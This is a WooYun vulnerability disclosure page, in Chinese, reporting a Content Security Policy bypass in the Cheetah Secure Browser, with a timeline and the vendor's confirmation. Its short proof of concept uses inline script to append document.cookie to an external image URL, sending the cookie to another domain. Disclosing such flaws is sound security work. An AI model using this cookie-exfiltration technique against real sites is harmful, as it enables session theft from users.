当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077123

漏洞标题:猎豹安全浏览器CSP安全策略绕过

相关厂商:金山网络

漏洞作者: phith0n

提交时间:2014-09-24 08:44

修复时间:2014-12-23 08:46

公开时间:2014-12-23 08:46

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-24: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-09-29: 细节向第三方安全合作伙伴开放
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-23: 细节向公众公开

简要描述:

最近浏览器漏洞很火啊。。。于是我也默默地围观了一下。
我平时使用猎豹比较多,最近又在研究CSP,所以偶然发现了这个BUG,在其他国产浏览器中都不存在,甚至在某些webkit版本比猎豹低的浏览器内核都不存在这个问题,不知道猎豹是怎么处理的。
自己研究的。。。应该不是低版本webkit内核的问题,测试其他浏览器都正常。

详细说明:

CSP安全策略我想很多人并不陌生,我就不多介绍了。简单来说就是预防XSS的策略,比如禁止eval函数、默认禁止内联script和style、页面只能加载指定来源的内容等,让很多情况下就算你有xss漏洞,但没法将获得的信息(如cookie等)发给攻击者,使之利用效果降低很多。
但如果一旦有一种方法绕过csp策略,整个防御体系就会崩塌,这个漏洞既是如此。
首先,猎豹最新版本:

001.jpg


User-agent显示其基于chrome/34

002.jpg


如下POC:

<?php
header("Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'; ");
?>
<p>hello world</p>
<script>
document.body.style.backgroundImage="url(http://www.leavesongs.com/content/templates/deep/images/logo.png?cookie="+escape(document.cookie)+")";
</script>


首先Content-Security-Policy设置为

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline';


这是比较常见的csp设置。默认的不允许加载任意外部来源的资源。
允许内联javascript,允许包括<script>和所有on**事件等执行javascript,基本所有网站都是允许的,因为大部分网站都是存在一些内联javascript的。
猎豹访问http://mhz.pw/csp/csp.php,可发现从mhz.pw域下加载了www.leavesongs.com域下的图片(http://www.leavesongs.com/content/templates/deep/images/logo.png)作为网站背景,同时也把打到的cookie传了出去:

003.jpg


006.jpg


正常chrome是不存在这个问题的:

004.jpg


查看控制台发现被csp拦截:

005.jpg

漏洞证明:

003.jpg


006.jpg

修复方案:

不知道怎么处理的。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-09-26 09:29

厂商回复:

非常感谢。经过与洞主的沟通复现确认,结合浏览器插件可以触发所描述的现象。我们将尽快推进修补。

最新状态:

暂无